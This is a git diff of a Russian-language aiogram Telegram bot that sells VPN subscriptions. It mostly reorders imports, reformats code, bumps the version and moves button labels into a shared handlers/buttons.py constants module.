diff --git a/backup.py b/backup.py index d2b2bb11..74032e6d 100644 --- a/backup.py +++ b/backup.py @@ -1,9 +1,11 @@ import os import subprocess + from datetime import datetime, timedelta from pathlib import Path import aiofiles + from aiogram.types import BufferedInputFile from bot import bot diff --git a/bot.py b/bot.py index e43debf1..5ef3e98d 100644 --- a/bot.py +++ b/bot.py @@ -14,11 +14,12 @@ from filters.private import IsPrivateFilter from logger import logger from middlewares import register_middleware + bot = Bot(token=API_TOKEN, default=DefaultBotProperties(parse_mode=ParseMode.HTML)) storage = MemoryStorage() dp = Dispatcher(bot=bot, storage=storage) -version = "4.1-beta(12)" +version = "4.1-beta(28)" register_middleware(dp) diff --git a/database.py b/database.py index c2969c9b..68a30a53 100644 --- a/database.py +++ b/database.py @@ -1,4 +1,5 @@ import json + from datetime import datetime from typing import Any diff --git a/handlers/__init__.py b/handlers/__init__.py index c2cd5125..bceb1c61 100644 --- a/handlers/__init__.py +++ b/handlers/__init__.py @@ -14,6 +14,7 @@ from .payments import router as payments_router from .profile import router as profile_router from .start import router as start_router + router = Router(name="handlers_main_router") router.include_routers( diff --git a/handlers/admin/__init__.py b/handlers/admin/__init__.py index 4ac02168..42c61d4e 100644 --- a/handlers/admin/__init__.py +++ b/handlers/admin/__init__.py @@ -14,6 +14,7 @@ from .servers import router as servers_router from .stats import router as stats_router from .users import router as users_router + router = Router(name="admins_main_router") router.include_routers( diff --git a/handlers/admin/backups/backups_handler.py b/handlers/admin/backups/backups_handler.py index b466d255..66eb6101 100644 --- a/handlers/admin/backups/backups_handler.py +++ b/handlers/admin/backups/backups_handler.py @@ -3,8 +3,10 @@ from aiogram.types import CallbackQuery from backup import backup_database from filters.admin import IsAdminFilter + from ..panel.keyboard import AdminPanelCallback, build_admin_back_kb + router = Router() diff --git a/handlers/admin/bans/bans_handler.py b/handlers/admin/bans/bans_handler.py index 360ce4ac..4d1eaa87 100644 --- a/handlers/admin/bans/bans_handler.py +++ b/handlers/admin/bans/bans_handler.py @@ -5,8 +5,10 @@ from aiogram.types import BufferedInputFile, CallbackQuery from database import delete_user_data from filters.admin import IsAdminFilter -from .keyboard import build_bans_kb + from ..panel.keyboard import AdminPanelCallback, build_admin_back_kb +from .keyboard import build_bans_kb + router = Router() diff --git a/handlers/admin/clusters/clusters_handler.py b/handlers/admin/clusters/clusters_handler.py index 7d3dfc12..1c153731 100644 --- a/handlers/admin/clusters/clusters_handler.py +++ b/handlers/admin/clusters/clusters_handler.py @@ -1,7 +1,10 @@ import asyncio +import time + from typing import Any import asyncpg + from aiogram import F, Router, types from aiogram.fsm.context import FSMContext from aiogram.fsm.state import State, StatesGroup @@ -12,18 +15,19 @@ from backup import create_backup_and_send_to_admins from config import ADMIN_PASSWORD, ADMIN_USERNAME, DATABASE_URL, TOTAL_GB from database import check_unique_server_name, get_servers, update_key_expiry from filters.admin import IsAdminFilter -from handlers.keys.key_utils import create_key_on_cluster, create_client_on_server, renew_key_in_cluster +from handlers.keys.key_utils import create_client_on_server, create_key_on_cluster, renew_key_in_cluster from logger import logger + +from ..panel.keyboard import AdminPanelCallback, build_admin_back_kb from .keyboard import ( - build_clusters_editor_kb, - build_manage_cluster_kb, AdminClusterCallback, AdminServerCallback, + build_cluster_management_kb, + build_clusters_editor_kb, + build_manage_cluster_kb, build_sync_cluster_kb, - build_cluster_management_kb ) -from ..panel.keyboard import AdminPanelCallback, build_admin_back_kb -import time + router = Router() @@ -523,7 +527,9 @@ async def handle_days_input(message: Message, state: FSMContext, session: Any): ) await update_key_expiry(key["client_id"], new_expiry, session) - await message.answer(f"✅ Время подписки продлено на {days} дней всем пользователям в кластере {cluster_name}.") + await message.answer( + f"✅ Время подписки продлено на {days} дней всем пользователям в кластере {cluster_name}." + ) except ValueError: await message.answer("❌ Введите корректное число дней.") return diff --git a/handlers/admin/clusters/keyboard.py b/handlers/admin/clusters/keyboard.py index e233b4dd..a2397d52 100644 --- a/handlers/admin/clusters/keyboard.py +++ b/handlers/admin/clusters/keyboard.py @@ -4,13 +4,15 @@ from aiogram.filters.callback_data import CallbackData from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup from aiogram.utils.keyboard import InlineKeyboardBuilder +from handlers.buttons import BACK + from ..panel.keyboard import build_admin_back_btn from ..servers.keyboard import AdminServerCallback class AdminClusterCallback(CallbackData, prefix="admin_cluster"): action: str - data: Optional[str] = None + data: str | None = None def build_clusters_editor_kb(servers: dict) -> InlineKeyboardMarkup: diff --git a/handlers/admin/coupons/coupons_handler.py b/handlers/admin/coupons/coupons_handler.py index 68605fa8..2b5e276e 100644 --- a/handlers/admin/coupons/coupons_handler.py +++ b/handlers/admin/coupons/coupons_handler.py @@ -8,9 +8,11 @@ from aiogram.types import CallbackQuery, Message from config import USERNAME_BOT from database import create_coupon, delete_coupon, get_all_coupons from filters.admin import IsAdminFilter -from .keyboard import AdminCouponDeleteCallback, build_coupons_kb, build_coupons_list_kb from logger import logger + from ..panel.keyboard import AdminPanelCallback, build_admin_back_kb +from .keyboard import AdminCouponDeleteCallback, build_coupons_kb, build_coupons_list_kb + router = Router() diff --git a/handlers/admin/coupons/keyboard.py b/handlers/admin/coupons/keyboard.py index f65480f1..d0ddd9c5 100644 --- a/handlers/admin/coupons/keyboard.py +++ b/handlers/admin/coupons/keyboard.py @@ -2,6 +2,8 @@ from aiogram.filters.callback_data import CallbackData from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup from aiogram.utils.keyboard import InlineKeyboardBuilder +from handlers.buttons import BACK + from ..panel.keyboard import AdminPanelCallback, build_admin_back_btn @@ -31,7 +33,7 @@ def build_coupons_list_kb(coupons: list, current_page: int, total_pages: int) -> if current_page > 1: pagination_buttons.append( InlineKeyboardButton( - text="⬅️ Назад", + text=BACK, callback_data=AdminPanelCallback(action="coupons_list", page=current_page - 1).pack(), ) ) diff --git a/handlers/admin/management/keyboard.py b/handlers/admin/management/keyboard.py index 61fb3408..09c7a379 100644 --- a/handlers/admin/management/keyboard.py +++ b/handlers/admin/management/keyboard.py @@ -1,7 +1,7 @@ from aiogram.types import InlineKeyboardMarkup from aiogram.utils.keyboard import InlineKeyboardBuilder -from ..panel.keyboard import build_admin_back_btn, AdminPanelCallback +from ..panel.keyboard import AdminPanelCallback, build_admin_back_btn def build_management_kb() -> InlineKeyboardMarkup: diff --git a/handlers/admin/management/management_handler.py b/handlers/admin/management/management_handler.py index de44f32a..3467161f 100644 --- a/handlers/admin/management/management_handler.py +++ b/handlers/admin/management/management_handler.py @@ -1,13 +1,15 @@ from aiogram import F, Router from aiogram.fsm.context import FSMContext -from aiogram.fsm.state import StatesGroup, State +from aiogram.fsm.state import State, StatesGroup from aiogram.types import CallbackQuery, Message from asyncpg import Connection from filters.admin import IsAdminFilter -from .keyboard import AdminPanelCallback, build_management_kb from logger import logger + from ..panel.keyboard import build_admin_back_kb +from .keyboard import AdminPanelCallback, build_management_kb + router = Router() diff --git a/handlers/admin/panel/keyboard.py b/handlers/admin/panel/keyboard.py index 37fe725a..8f76cda7 100644 --- a/handlers/admin/panel/keyboard.py +++ b/handlers/admin/panel/keyboard.py @@ -4,6 +4,8 @@ from aiogram.filters.callback_data import CallbackData from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup from aiogram.utils.keyboard import InlineKeyboardBuilder +from handlers.buttons import BACK, MAIN_MENU + class AdminPanelCallback(CallbackData, prefix="admin_panel"): action: str @@ -28,7 +30,7 @@ def build_panel_kb() -> InlineKeyboardMarkup: InlineKeyboardButton(text="📊 Статистика", callback_data=AdminPanelCallback(action="stats").pack()), InlineKeyboardButton(text="🤖 Управление", callback_data=AdminPanelCallback(action="management").pack()), ) - builder.button(text="Личный кабинет", callback_data="profile") + builder.button(text=MAIN_MENU, callback_data="profile") builder.adjust(1, 1, 2, 1, 2, 1) return builder.as_markup() @@ -42,7 +44,7 @@ def build_restart_kb() -> InlineKeyboardMarkup: def build_admin_back_kb(action: str = "admin") -> InlineKeyboardMarkup: - return build_admin_singleton_kb("🔙 Назад", action) + return build_admin_singleton_kb(BACK, action) def build_admin_singleton_kb(text: str, action: str) -> InlineKeyboardMarkup: @@ -52,7 +54,7 @@ def build_admin_singleton_kb(text: str, action: str) -> InlineKeyboardMarkup: def build_admin_back_btn(action: str = "admin") -> InlineKeyboardButton: - return build_admin_btn("🔙 Назад", action) + return build_admin_btn(BACK, action) def build_admin_btn(text: str, action: str) -> InlineKeyboardButton: diff --git a/handlers/admin/panel/panel_handler.py b/handlers/admin/panel/panel_handler.py index 9d863249..e259254e 100644 --- a/handlers/admin/panel/panel_handler.py +++ b/handlers/admin/panel/panel_handler.py @@ -5,8 +5,10 @@ from aiogram.types import CallbackQuery, Message from bot import version from filters.admin import IsAdminFilter + from .keyboard import AdminPanelCallback, build_panel_kb + router = Router() diff --git a/handlers/admin/restart/restart_handler.py b/handlers/admin/restart/restart_handler.py index c60d969d..30710cb4 100644 --- a/handlers/admin/restart/restart_handler.py +++ b/handlers/admin/restart/restart_handler.py @@ -4,8 +4,10 @@ from aiogram import F, Router from aiogram.types import CallbackQuery from filters.admin import IsAdminFilter + from ..panel.keyboard import AdminPanelCallback, build_admin_back_kb, build_restart_kb + router = Router() diff --git a/handlers/admin/sender/keyboard.py b/handlers/admin/sender/keyboard.py index 2bfa4606..0e37155f 100644 --- a/handlers/admin/sender/keyboard.py +++ b/handlers/admin/sender/keyboard.py @@ -1,5 +1,5 @@ from aiogram.filters.callback_data import CallbackData -from aiogram.types import InlineKeyboardMarkup, InlineKeyboardButton +from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup from aiogram.utils.keyboard import InlineKeyboardBuilder from ..panel.keyboard import build_admin_back_btn diff --git a/handlers/admin/sender/sender_handler.py b/handlers/admin/sender/sender_handler.py index 7891a46e..93c71858 100644 --- a/handlers/admin/sender/sender_handler.py +++ b/handlers/admin/sender/sender_handler.py @@ -7,9 +7,11 @@ from aiogram.fsm.state import State, StatesGroup from aiogram.types import CallbackQuery, Message from filters.admin import IsAdminFilter -from .keyboard import AdminSenderCallback, build_clusters_kb, build_sender_kb from logger import logger + from ..panel.keyboard import AdminPanelCallback, build_admin_back_kb +from .keyboard import AdminSenderCallback, build_clusters_kb, build_sender_kb + router = Router() diff --git a/handlers/admin/servers/keyboard.py b/handlers/admin/servers/keyboard.py index ab29be55..d0a7cbea 100644 --- a/handlers/admin/servers/keyboard.py +++ b/handlers/admin/servers/keyboard.py @@ -2,6 +2,8 @@ from aiogram.filters.callback_data import CallbackData from aiogram.types import InlineKeyboardMarkup from aiogram.utils.keyboard import InlineKeyboardBuilder +from handlers.buttons import BACK + class AdminServerCallback(CallbackData, prefix="admin_server"): action: str @@ -13,7 +15,7 @@ def build_manage_server_kb(server_name: str, cluster_name: str) -> InlineKeyboar builder = InlineKeyboardBuilder() builder.button(text="🗑️ Удалить", callback_data=AdminServerCallback(action="delete", data=server_name).pack()) - builder.button(text="🔙 Назад", callback_data=AdminClusterCallback(action="manage", data=cluster_name).pack()) + builder.button(text=BACK, callback_data=AdminClusterCallback(action="manage", data=cluster_name).pack()) builder.adjust(1) return builder.as_markup() @@ -21,6 +23,6 @@ def build_manage_server_kb(server_name: str, cluster_name: str) -> InlineKeyboar def build_delete_server_kb(server_name: str) -> InlineKeyboardMarkup: builder = InlineKeyboardBuilder() builder.button(text="✅ Да", callback_data=AdminServerCallback(action="delete_confirm", data=server_name).pack()) - builder.button(text="🔙 Назад", callback_data=AdminServerCallback(action="manage", data=server_name).pack()) + builder.button(text=BACK, callback_data=AdminServerCallback(action="manage", data=server_name).pack()) builder.adjust(1) return builder.as_markup() diff --git a/handlers/admin/servers/servers_handler.py b/handlers/admin/servers/servers_handler.py index e6bb8f3d..849b5c92 100644 --- a/handlers/admin/servers/servers_handler.py +++ b/handlers/admin/servers/servers_handler.py @@ -5,12 +5,14 @@ from aiogram.types import CallbackQuery from database import delete_server, get_servers from filters.admin import IsAdminFilter + +from ..panel.keyboard import build_admin_back_kb from .keyboard import ( AdminServerCallback, build_delete_server_kb, build_manage_server_kb, ) -from ..panel.keyboard import build_admin_back_kb + router = Router() diff --git a/handlers/admin/stats/stats_handler.py b/handlers/admin/stats/stats_handler.py index 880b3f72..5ee43ab4 100644 --- a/handlers/admin/stats/stats_handler.py +++ b/handlers/admin/stats/stats_handler.py @@ -2,18 +2,22 @@ from datetime import datetime from typing import Any import pytz + from aiogram import F, Router from aiogram.exceptions import TelegramBadRequest from aiogram.types import CallbackQuery from filters.admin import IsAdminFilter -from .keyboard import build_stats_kb from logger import logger -from utils.csv_export import export_payments_csv, export_users_csv, export_hot_leads_csv, export_keys_csv +from utils.csv_export import export_hot_leads_csv, export_keys_csv, export_payments_csv, export_users_csv + from ..panel.keyboard import AdminPanelCallback, build_admin_back_kb +from .keyboard import build_stats_kb + router = Router() + @router.callback_query( AdminPanelCallback.filter(F.action == "stats"), IsAdminFilter(), @@ -40,28 +44,28 @@ async def handle_stats(callback_query: CallbackQuery, session: Any): total_payments_all_time = int(await session.fetchval("SELECT COALESCE(SUM(amount), 0) FROM payments")) all_keys = await session.fetch("SELECT created_at, expiry_time FROM keys") - + def count_subscriptions_by_duration(keys): - periods = {'trial': 0, '1': 0, '3': 0, '6': 0, '12': 0} + periods = {"trial": 0, "1": 0, "3": 0, "6": 0, "12": 0} for key in keys: try: - duration_days = (key['expiry_time'] - key['created_at']) / (1000 * 60 * 60 * 24) - + duration_days = (key["expiry_time"] - key["created_at"]) / (1000 * 60 * 60 * 24) + if duration_days <= 29: - periods['trial'] += 1 + periods["trial"] += 1 elif duration_days <= 89: - periods['1'] += 1 + periods["1"] += 1 elif duration_days <= 179: - periods['3'] += 1 + periods["3"] += 1 elif duration_days <= 359: - periods['6'] += 1 + periods["6"] += 1 else: - periods['12'] += 1 + periods["12"] += 1 except Exception as e: logger.error(f"Error processing key duration: {e}") continue return periods - + subs_all_time = count_subscriptions_by_duration(all_keys) registrations_today = await session.fetchval("SELECT COUNT(*) FROM users WHERE created_at >= CURRENT_DATE") @@ -93,19 +97,15 @@ async def handle_stats(callback_query: CallbackQuery, session: Any): stats_message = ( "📊 Статистика проекта\n\n" - "👤 Пользователи:\n" f"├ 🗓️ За день: {registrations_today}\n" f"├ 📆 За неделю: {registrations_week}\n" f"├ 🗓️ За месяц: {registrations_month}\n" f"└ 🌐 Всего: {total_users}\n\n" - "💡 Активность:\n" f"└ 👥 Сегодня были активны: {users_updated_today}\n\n" - "🤝 Реферальная система:\n" f"└ 👥 Всего привлечено: {total_referrals}\n\n" - "🔐 Подписки:\n" f"├ 📦 Всего сгенерировано: {total_keys}\n" f"├ ✅ Активных: {active_keys}\n" @@ -116,13 +116,11 @@ async def handle_stats(callback_query: CallbackQuery, session: Any): f" • 🗓️ 3 мес: {subs_all_time['3']}\n" f" • 🗓️ 6 мес: {subs_all_time['6']}\n" f" • 🗓️ 12 мес: {subs_all_time['12']}\n\n" - "💰 Финансы:\n" f"├ 📅 За день: {total_payments_today} ₽\n" f"├ 📆 За неделю: {total_payments_week} ₽\n" f"├ 📆 За месяц: {total_payments_month} ₽\n" f"└ 🏦 Всего: {total_payments_all_time} ₽\n\n" - f"🔥 Горящие лиды: {hot_leads_count} (платили, но не активировали ключи)\n\n" f"⏱️ Последнее обновление: {update_time}" ) @@ -135,6 +133,7 @@ async def handle_stats(callback_query: CallbackQuery, session: Any): logger.error(f"Error in user_stats_menu: {e}") await callback_query.answer("Произошла ошибка при получении статистики", show_alert=True) + @router.callback_query( AdminPanelCallback.filter(F.action == "stats_export_users_csv"), IsAdminFilter(), @@ -148,6 +147,7 @@ async def handle_export_users_csv(callback_query: CallbackQuery, session: Any): logger.error(f"Ошибка при экспорте пользователей в CSV: {e}") await callback_query.message.edit_text(text=f"❗ Произошла ошибка при экспорте: {e}", reply_markup=kb) + @router.callback_query( AdminPanelCallback.filter(F.action == "stats_export_payments_csv"), IsAdminFilter(), @@ -161,6 +161,7 @@ async def handle_export_payments_csv(callback_query: CallbackQuery, session: Any logger.error(f"Ошибка при экспорте платежей в CSV: {e}") await callback_query.message.edit_text(text=f"❗ Произошла ошибка при экспорте: {e}", reply_markup=kb) + @router.callback_query( AdminPanelCallback.filter(F.action == "stats_export_hot_leads_csv"), IsAdminFilter(), @@ -169,16 +170,10 @@ async def handle_export_hot_leads_csv(callback_query: CallbackQuery, session: An kb = build_admin_back_kb("stats") try: export = await export_hot_leads_csv(session) - await callback_query.message.answer_document( - document=export, - caption="📥 Экспорт горящих лидов" - ) + await callback_query.message.answer_document(document=export, caption="📥 Экспорт горящих лидов") except Exception as e: logger.error(f"Ошибка при экспорте 'горящих лидов': {e}") - await callback_query.message.edit_text( - text=f"❗ Произошла ошибка при экспорте: {e}", - reply_markup=kb - ) + await callback_query.message.edit_text(text=f"❗ Произошла ошибка при экспорте: {e}", reply_markup=kb) @router.callback_query( diff --git a/handlers/admin/users/keyboard.py b/handlers/admin/users/keyboard.py index a4db63d6..2888698c 100644 --- a/handlers/admin/users/keyboard.py +++ b/handlers/admin/users/keyboard.py @@ -5,8 +5,10 @@ from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup from aiogram.utils.keyboard import InlineKeyboardBuilder from config import RENEWAL_PRICES, TOTAL_GB +from database import get_clusters +from handlers.buttons import BACK + from ..panel.keyboard import build_admin_back_btn -from database import get_clusters class AdminUserEditorCallback(CallbackData, prefix="admin_users"): @@ -69,7 +71,7 @@ def build_user_edit_kb(tg_id: int, key_records: list) -> InlineKeyboardMarkup: def build_users_balance_change_kb(tg_id: int) -> InlineKeyboardMarkup: builder = InlineKeyboardBuilder() builder.button( - text="🔙 Назад", # todo: fix magic text was set + text=BACK, # todo: fix magic text was set callback_data=AdminUserEditorCallback(action="users_balance_edit", tg_id=tg_id).pack(), ) return builder.as_markup() @@ -104,7 +106,7 @@ def build_users_balance_kb(tg_id: int) -> InlineKeyboardMarkup: def build_users_key_show_kb(tg_id: int, email: str) -> InlineKeyboardMarkup: builder = InlineKeyboardBuilder() builder.button( - text="🔙 Назад", # todo: fix magic text was set + text=BACK, # todo: fix magic text was set callback_data=AdminUserEditorCallback(action="users_key_edit", tg_id=tg_id, data=email, edit=True).pack(), ) return builder.as_markup() @@ -133,7 +135,7 @@ def build_users_key_expiry_kb(tg_id: int, email: str) -> InlineKeyboardMarkup: callback_data=AdminUserKeyEditorCallback(action="set", tg_id=tg_id, data=email).pack(), ) builder.button( - text="🔙 Назад", # todo: fix magic text was set + text=BACK, # todo: fix magic text was set callback_data=AdminUserEditorCallback(action="users_key_edit", tg_id=tg_id, data=email).pack(), ) builder.adjust(2, 2, 2, 2, 2, 1) @@ -154,7 +156,7 @@ def build_user_delete_kb(tg_id: int): def build_user_key_kb(tg_id: int, email: str) -> InlineKeyboardMarkup: builder = InlineKeyboardBuilder() builder.button( - text="🔙 Назад", callback_data=AdminUserEditorCallback(action="users_key_edit", tg_id=tg_id, data=email).pack() + text=BACK, callback_data=AdminUserEditorCallback(action="users_key_edit", tg_id=tg_id, data=email).pack() ) builder.adjust(1) return builder.as_markup() @@ -206,7 +208,7 @@ def build_key_delete_kb(tg_id: int, email: str) -> InlineKeyboardMarkup: def build_editor_kb(tg_id: int, edit: bool = False) -> InlineKeyboardMarkup: - return build_editor_singleton_kb("🔙 Назад", tg_id, edit) + return build_editor_singleton_kb(BACK, tg_id, edit) def build_editor_singleton_kb(text: str, tg_id: int, edit: bool = False) -> InlineKeyboardMarkup: @@ -216,7 +218,7 @@ def build_editor_singleton_kb(text: str, tg_id: int, edit: bool = False) -> Inli def build_editor_back_btn(tg_id: int, edit: bool = False) -> InlineKeyboardButton: - return build_editor_btn("🔙 Назад", tg_id, edit) + return build_editor_btn(BACK, tg_id, edit) def build_editor_btn(text: str, tg_id: int, edit: bool = False) -> InlineKeyboardButton: @@ -230,11 +232,8 @@ async def build_cluster_selection_kb(session, tg_id: int, email: str, action: st clusters = await get_clusters(session) for cluster_id in clusters: - builder.button( - text=cluster_id, - callback_data=f"{action}|{tg_id}|{email}|{cluster_id}" - ) + builder.button(text=cluster_id, callback_data=f"{action}|{tg_id}|{email}|{cluster_id}") - builder.button(text="⬅️ Назад", callback_data=f"edit_user_key|{tg_id}|{email}") + builder.button(text=BACK, callback_data=f"edit_user_key|{tg_id}|{email}") builder.adjust(1) return builder.as_markup() diff --git a/handlers/admin/users/users_handler.py b/handlers/admin/users/users_handler.py index 8868d491..87c1a9ae 100644 --- a/handlers/admin/users/users_handler.py +++ b/handlers/admin/users/users_handler.py @@ -12,26 +12,37 @@ from aiogram.fsm.context import FSMContext from aiogram.fsm.state import State, StatesGroup from aiogram.types import CallbackQuery, Message from aiogram.utils.keyboard import InlineKeyboardBuilder -from config import TOTAL_GB, PUBLIC_LINK, RENEWAL_PRICES +from config import PUBLIC_LINK, RENEWAL_PRICES, TOTAL_GB from database import ( delete_key, delete_user_data, get_balance, get_client_id_by_email, get_servers, + store_key, update_balance, update_key_expiry, update_trial, - store_key ) from filters.admin import IsAdminFilter -from handlers.keys.key_utils import delete_key_from_cluster, get_user_traffic, renew_key_in_cluster, update_subscription, create_key_on_cluster, reset_traffic_in_cluster -from handlers.utils import sanitize_key_name +from handlers.keys.key_utils import ( + create_key_on_cluster, + delete_key_from_cluster, + get_user_traffic, + renew_key_in_cluster, + reset_traffic_in_cluster, + update_subscription, +) +from handlers.utils import generate_random_email, sanitize_key_name +from logger import logger +from utils.csv_export import export_referrals_csv + from ..panel.keyboard import AdminPanelCallback, build_admin_back_btn, build_admin_back_kb from .keyboard import ( AdminUserEditorCallback, AdminUserKeyEditorCallback, + build_cluster_selection_kb, build_editor_kb, build_key_delete_kb, build_key_edit_kb, @@ -42,11 +53,7 @@ from .keyboard import ( build_users_balance_kb, build_users_key_expiry_kb, build_users_key_show_kb, - build_cluster_selection_kb ) -from logger import logger -from utils.csv_export import export_referrals_csv -from handlers.utils import generate_random_email MOSCOW_TZ = pytz.timezone("Europe/Moscow") @@ -479,7 +486,7 @@ async def handle_update_key(callback_query: CallbackQuery, callback_data: AdminU await callback_query.message.edit_text( text=f"📡 Выберите кластер, на котором пересоздать ключ {email}:", - reply_markup=await build_cluster_selection_kb(session, tg_id, email, action="confirm_admin_key_reissue") + reply_markup=await build_cluster_selection_kb(session, tg_id, email, action="confirm_admin_key_reissue"), ) @@ -490,7 +497,9 @@ async def confirm_admin_key_reissue(callback_query: CallbackQuery, session: Any) try: await update_subscription(tg_id, email, session, cluster_override=cluster_id) - await handle_key_edit(callback_query, AdminUserEditorCallback(tg_id=tg_id, data=email, action="view_key"), session, True) + await handle_key_edit( + callback_query, AdminUserEditorCallback(tg_id=tg_id, data=email, action="view_key"), session, True + ) except Exception as e: logger.error(f"Ошибка при перевыпуске ключа {email}: {e}") await callback_query.message.answer(f"❗ Ошибка: {e}") @@ -798,7 +807,9 @@ async def handle_users_export_referrals( @router.callback_query(AdminUserEditorCallback.filter(F.action == "users_create_key"), IsAdminFilter()) -async def handle_create_key_select_cluster(callback_query: CallbackQuery, callback_data: AdminUserEditorCallback, state: FSMContext, session: Any): +async def handle_create_key_select_cluster( + callback_query: CallbackQuery, callback_data: AdminUserEditorCallback, state: FSMContext, session: Any +): tg_id = callback_data.tg_id await state.update_data(tg_id=tg_id) @@ -806,7 +817,9 @@ async def handle_create_key_select_cluster(callback_query: CallbackQuery, callba cluster_names = list(servers.keys()) if not cluster_names: - await callback_query.message.edit_text("❌ Нет доступных кластеров для создания ключа.", reply_markup=build_editor_kb(tg_id)) + await callback_query.message.edit_text( + "❌ Нет доступных кластеров для создания ключа.", reply_markup=build_editor_kb(tg_id) + ) return builder = InlineKeyboardBuilder() @@ -818,13 +831,14 @@ async def handle_create_key_select_cluster(callback_query: CallbackQuery, callba builder.row(build_admin_back_btn()) await callback_query.message.edit_text( - "🌐 Выберите кластер для создания ключа:", - reply_markup=builder.as_markup() + "🌐 Выберите кластер для создания ключа:", reply_markup=builder.as_markup() ) @router.callback_query(AdminUserEditorCallback.filter(F.action == "users_create_key_cluster"), IsAdminFilter()) -async def handle_create_key_cluster(callback_query: CallbackQuery, callback_data: AdminUserEditorCallback, state: FSMContext): +async def handle_create_key_cluster( + callback_query: CallbackQuery, callback_data: AdminUserEditorCallback, state: FSMContext +): tg_id = callback_data.tg_id cluster_name = callback_data.data @@ -832,16 +846,12 @@ async def handle_create_key_cluster(callback_query: CallbackQuery, callback_data builder = InlineKeyboardBuilder() for months, _ in RENEWAL_PRICES.items(): - builder.button( - text=f"{months} мес.", - callback_data=f"create_key_duration|{tg_id}|{cluster_name}|{months}" - ) + builder.button(text=f"{months} мес.", callback_data=f"create_key_duration|{tg_id}|{cluster_name}|{months}") builder.adjust(1) builder.row(build_admin_back_btn()) await callback_query.message.edit_text( - text=f"🕒 Выберите срок действия ключа для кластера {cluster_name}:", - reply_markup=builder.as_markup() + text=f"🕒 Выберите срок действия ключа для кластера {cluster_name}:", reply_markup=builder.as_markup() ) @@ -874,14 +884,13 @@ async def handle_create_key_duration(callback_query: CallbackQuery, session: Any await callback_query.message.edit_text( f"✅ Ключ успешно создан в кластере {cluster_name} на {months} мес.!", - reply_markup=build_editor_kb(tg_id) + reply_markup=build_editor_kb(tg_id), ) except Exception as e: logger.error(f"Ошибка при создании ключа: {e}") await callback_query.message.edit_text( - "❌ Не удалось создать ключ. Попробуйте позже.", - reply_markup=build_editor_kb(tg_id) + "❌ Не удалось создать ключ. Попробуйте позже.", reply_markup=build_editor_kb(tg_id) ) @@ -897,10 +906,7 @@ async def handle_reset_traffic(callback_query: CallbackQuery, callback_data: Adm ) if not record: - await callback_query.message.edit_text( - "❌ Ключ не найден в базе данных.", - reply_markup=build_editor_kb(tg_id) - ) + await callback_query.message.edit_text("❌ Ключ не найден в базе данных.", reply_markup=build_editor_kb(tg_id)) return cluster_id = record["server_id"] @@ -908,12 +914,10 @@ async def handle_reset_traffic(callback_query: CallbackQuery, callback_data: Adm try: await reset_traffic_in_cluster(cluster_id, email) await callback_query.message.edit_text( - f"✅ Трафик для ключа {email} успешно сброшен.", - reply_markup=build_editor_kb(tg_id) + f"✅ Трафик для ключа {email} успешно сброшен.", reply_markup=build_editor_kb(tg_id) ) except Exception as e: logger.error(f"Ошибка при сбросе трафика: {e}") await callback_query.message.edit_text( - "❌ Произошла ошибка при сбросе трафика. Попробуйте позже.", - reply_markup=build_editor_kb(tg_id) - ) \ No newline at end of file + "❌ Произошла ошибка при сбросе трафика. Попробуйте позже.", reply_markup=build_editor_kb(tg_id) + ) diff --git a/handlers/buttons.py b/handlers/buttons.py new file mode 100644 index 00000000..c0032a80 --- /dev/null +++ b/handlers/buttons.py @@ -0,0 +1,82 @@ +# Основные кнопки меню: + +MAIN_MENU = "👤 Личный кабинет" +BACK = "⬅️ Назад" +SUPPORT = "💬 Поддержка" +CHANNEL = "📢 Канал" +ABOUT_VPN = "💬 О сервисе" +APPLY = "✅ Подтвердить" +CANCEL = "❌ Отмена" + +# Профиль + +ADD_SUB = "➕ Подписка" +MY_SUBS = "📱 Мои подписки" +BALANCE = "💰 Баланс" +INVITE = "👥 Пригласить" +GIFTS = "🎁 Подарить" +TARRIFS = "💡 Тарифы" +INSTRUCTIONS = "📘 Инструкции" +INVITE = "👥 Пригласить друга" +TOP_FIVE = "🏆 Топ-5" + +# Меню Оплат и баланса + +BALANCE_HISTORY = "📊 История пополнения" +PAYMENT = "💳 Пополнить баланс" +COUPON = "🎟️ Активировать купон" +YOOKASSA = "💳 ЮКасса: быстрая оплата" +YOOMONEY = "💳 ЮМани: перевод по карте" +CRYPTOBOT = "💰 CryptoBot: криптовалюта" +STARS = "⭐ Оплата Звездами" +ROBOKASSA = "⭐ RoboKassa" + + +# Подарки + +GIFT = "🎁 Подарить подписку" +MY_GIFTS = "🎁 Мои подарки" +GIFTS_MENU = "В меню подарков" +SHARE_GIFT = "🎁 Поделиться подарком" +APPLY = "✅ Подтвердить" +CANCEL = "❌ Отмена" + +# Создание и подключение ключей + +DOWNLOAD_IOS_BUTTON = "🍏 Скачать iOS" +DOWNLOAD_ANDROID_BUTTON = "🤖 Скачать Android" +IMPORT_IOS = "🍏 Подключить" +IMPORT_ANDROID = "🤖 Подключить" +PC_BUTTON = "💻 Компьютеры" +TV_BUTTON = "📺 Андроид TV" +CONNECT_PHONE = "📱 Подключить телефон" +CONNECT_DEVICE = "📲 Подключить устройство" +CONNECT_WINDOWS_BUTTON = "💻 Подключить Windows" +CONNECT_MACOS_BUTTON = "💻 Подключить MacOS" +ALIAS = "✏️" +UNFREEZE = "🟢 Разморозить подписку" +FREEZE = "🛑 Заморозить подписку" +RENEW = "⏳ Продлить" +RENEW_FULL = "⏳ Продлить подписку" +DELETE = "❌ Удалить" +CHANGE_LOCATION = "🌍 Сменить локацию" +QR = "📷 Показать QR-код" +IPHONE = "🍏 Айфон" +ANDROID = "🤖 Андроид" +PC = "💻 Компьютер" +TV = "📺 Телевизор" +ROUTER = "📶 Роутер" +MANUAL_INSTRUCTIONS = "📖 Ручная установка" +RENEW_KEY = "🔄 Продлить подписку" +TV_CONTINUE = "▶ Продолжить" +TV_INSTRUCTIONS = "📖 Полная инструкция" + + +# Кнопки касс + +PAY = "Пополнить" +PAY_2 = "Оплатить" +CUSTOM_AMOUNT = "💰 Ввести свою сумму" +PAY = "Пополнить" +PAY_2 = "Оплатить" +STARS_BOT = "🤖 Бот для покупки звезд" diff --git a/handlers/buttons/add_subscribe.py b/handlers/buttons/add_subscribe.py deleted file mode 100644 index 1a7c4790..00000000 --- a/handlers/buttons/add_subscribe.py +++ /dev/null @@ -1,6 +0,0 @@ -DOWNLOAD_IOS_BUTTON = "🍏 Скачать iOS" -DOWNLOAD_ANDROID_BUTTON = "🤖 